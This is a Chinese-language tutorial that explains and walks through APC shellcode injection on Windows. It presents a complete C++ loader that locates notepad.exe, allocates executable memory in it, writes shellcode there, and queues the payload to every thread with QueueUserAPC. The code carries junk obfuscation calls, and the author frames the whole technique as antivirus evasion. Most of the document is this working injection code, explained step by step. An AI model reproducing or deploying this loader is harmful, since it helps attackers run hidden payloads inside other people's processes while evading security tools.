预备知识
线程是不能被“杀掉 ”、“挂起 ”、“恢复 ”的,线程在执行的时候自己占据着CPU,别人不能控制它
举个极端的例子:如果不调用API ,屏蔽中断 ,并保证代码不出现异常 ,线程将永久 占用CPU
所以说线程如果想“死”,一定是自己执行代码把自己杀死,不存在“他杀”的情况
那么将会产生一个问题
如果想改变一个线程的行为该怎么做呢?
既然只能让他自己杀死自己,那我们就递出那一把刀。
让他主动调用一个方法,然后KILL 自己
apc 是什么? 可以根据他的英语名字来看
Asyncroneus Procedure Call
异步过程调用
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 void function1 (const unsigned char *shellcode, const size_t &shellcodeLength) { std::cout << "function1 first" << std::endl; MasterEncoderForApcLoadder::generateAndSortArray (); HANDLE snapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0 ); MasterEncoderForApcLoadder::generateAndSortArray (); PROCESSENTRY32 processEntry = {sizeof (PROCESSENTRY32)}; std::string name="notepad.exe" ; if (Process32First (snapshot, &processEntry)) { MasterEncoderForApcLoadder::generateAndSortArray (); while (!MasterEncoderForApcLoadder::stringCmp (processEntry.szExeFile, name)) { MasterEncoderForApcLoadder::generateAndSortArray (); Process32Next (snapshot, &processEntry); } } MasterEncoderForApcLoadder::generateAndSortArray (); HANDLE victimProcess = OpenProcess (PROCESS_ALL_ACCESS, 0 , processEntry.th32ProcessID); MasterEncoderForApcLoadder::generateAndSortArray (); LPVOID shellAddress = VirtualAllocEx (victimProcess, nullptr , shellcodeLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE); MasterEncoderForApcLoadder::generateAndSortArray (); auto apcRoutine = (PTHREAD_START_ROUTINE) shellAddress; MasterEncoderForApcLoadder::generateAndSortArray (); WriteProcessMemory (victimProcess, shellAddress, shellcode, shellcodeLength, nullptr ); MasterEncoderForApcLoadder::generateAndSortArray (); THREADENTRY32 threadEntry = {sizeof (THREADENTRY32)}; std::vector<DWORD> threadIds{}; if (Thread32First (snapshot, &threadEntry)) { do { MasterEncoderForApcLoadder::generateAndSortArray (); if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { MasterEncoderForApcLoadder::generateAndSortArray (); threadIds.emplace_back (threadEntry.th32ThreadID); } } while (Thread32Next (snapshot, &threadEntry)); } for (DWORD threadId: threadIds) { MasterEncoderForApcLoadder::generateAndSortArray (); HANDLE threadHandle = OpenThread (THREAD_ALL_ACCESS, TRUE, threadId); MasterEncoderForApcLoadder::generateAndSortArray (); QueueUserAPC ((PAPCFUNC) apcRoutine, threadHandle, NULL ); MasterEncoderForApcLoadder::generateAndSortArray (); Sleep (1000 * 2 ); } std::cout << "function1 end" << std::endl; }
其中generateAndSortArray
是混淆代码
从关键函数出发
1 HANDLE snapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0 );
CreateToolhelp32Snapshot 函数 (tlhelp32.h) - Win32 apps | Microsoft Learn
获取指定进程以及这些进程使用的堆、模块和线程的快照。
相当于对现在操作系统的状态打了一个快照,然后方便我们从其中读取现在的进程
1 PROCESSENTRY32 processEntry = {sizeof (PROCESSENTRY32)};
1 2 3 4 5 6 7 8 9 10 11 12 13 typedef struct tagPROCESSENTRY32 { DWORD dwSize; DWORD cntUsage; DWORD th32ProcessID; ULONG_PTR th32DefaultHeapID; DWORD th32ModuleID; DWORD cntThreads; DWORD th32ParentProcessID; LONG pcPriClassBase; DWORD dwFlags; CHAR szExeFile[MAX_PATH]; } PROCESSENTRY32;
PROCESSENTRY32
是一个结构体,可以理解为这个是一个进程
计算这个结构提的大小是因为
在 Windows API 中,很多结构体需要先手动初始化 dwSize
成员,以告知 API 该结构体的版本和大小,从而确保在不同版本的操作系统中兼容。将它作为参数传递,确保在调用相关函数时(如 Process32First
和 Process32Next
)结构体的大小是正确的
然后就可以看到
1 2 3 4 5 6 7 8 std::string name="notepad.exe" if (Process32First (snapshot, &processEntry)) { MasterEncoderForApcLoadder::generateAndSortArray (); while (!MasterEncoderForApcLoadder::stringCmp (processEntry.szExeFile, name)) { MasterEncoderForApcLoadder::generateAndSortArray (); Process32Next (snapshot, &processEntry); } }
Thread32First:
Thread32First 函数 (tlhelp32.h) - Win32 apps | Microsoft Learn
检索有关系统快照中遇到的任何进程的第一个线程的信息。
这段可以理解为检索,是否存在目标进程
1 2 MasterEncoderForApcLoadder::generateAndSortArray (); HANDLE victimProcess = OpenProcess (PROCESS_ALL_ACCESS, 0 , processEntry.th32ProcessID);
如果发现了,就直接打开这个进程
1 2 3 MasterEncoderForApcLoadder::generateAndSortArray (); LPVOID shellAddress = VirtualAllocEx (victimProcess, nullptr , byteLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
VirtualAllocEx:
保留、提交或更改指定进程的虚拟地址空间中内存区域的状态。 该函数初始化它分配给零的内存。
对于免杀中,这一步就相当于分配内存了,准备插入进去
1 2 3 4 5 6 MasterEncoderForApcLoadder::generateAndSortArray ();auto apcRoutine = (PTHREAD_START_ROUTINE) shellAddress; MasterEncoderForApcLoadder::generateAndSortArray ();WriteProcessMemory (victimProcess, shellAddress, decryptedData, byteLength, nullptr );
WriteProcessMemory:
WriteProcessMemory 函数 (memoryapi.h) - Win32 apps | Microsoft Learn
将数据写入到指定进程中的内存区域。 要写入的整个区域必须可访问,否则操作将失败。
这一段就是直接插入的过程了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 MasterEncoderForApcLoadder::generateAndSortArray (); THREADENTRY32 threadEntry = {sizeof (THREADENTRY32)}; std::vector<DWORD> threadIds{}; if (Thread32First (snapshot, &threadEntry)) { do { MasterEncoderForApcLoadder::generateAndSortArray (); if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { MasterEncoderForApcLoadder::generateAndSortArray (); threadIds.emplace_back (threadEntry.th32ThreadID); } } while (Thread32Next (snapshot, &threadEntry)); }
这一段,用于查找镜像中,属于我们指定的那个进程的所有的线程
1 2 3 4 5 6 7 8 9 for (DWORD threadId: threadIds) { MasterEncoderForApcLoadder::generateAndSortArray (); HANDLE threadHandle = OpenThread (THREAD_ALL_ACCESS, TRUE, threadId); MasterEncoderForApcLoadder::generateAndSortArray (); QueueUserAPC ((PAPCFUNC) apcRoutine, threadHandle, NULL ); MasterEncoderForApcLoadder::generateAndSortArray (); Sleep (1000 * 2 ); }
QueueUserAPC:
QueueUserAPC 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn
将用户模式 异步过程调用 (APC) 对象添加到指定线程的 APC 队列。
注意这一段中sleep 是必不可少的,因为sleep 函数可以触发apc
然后就等待执行就行了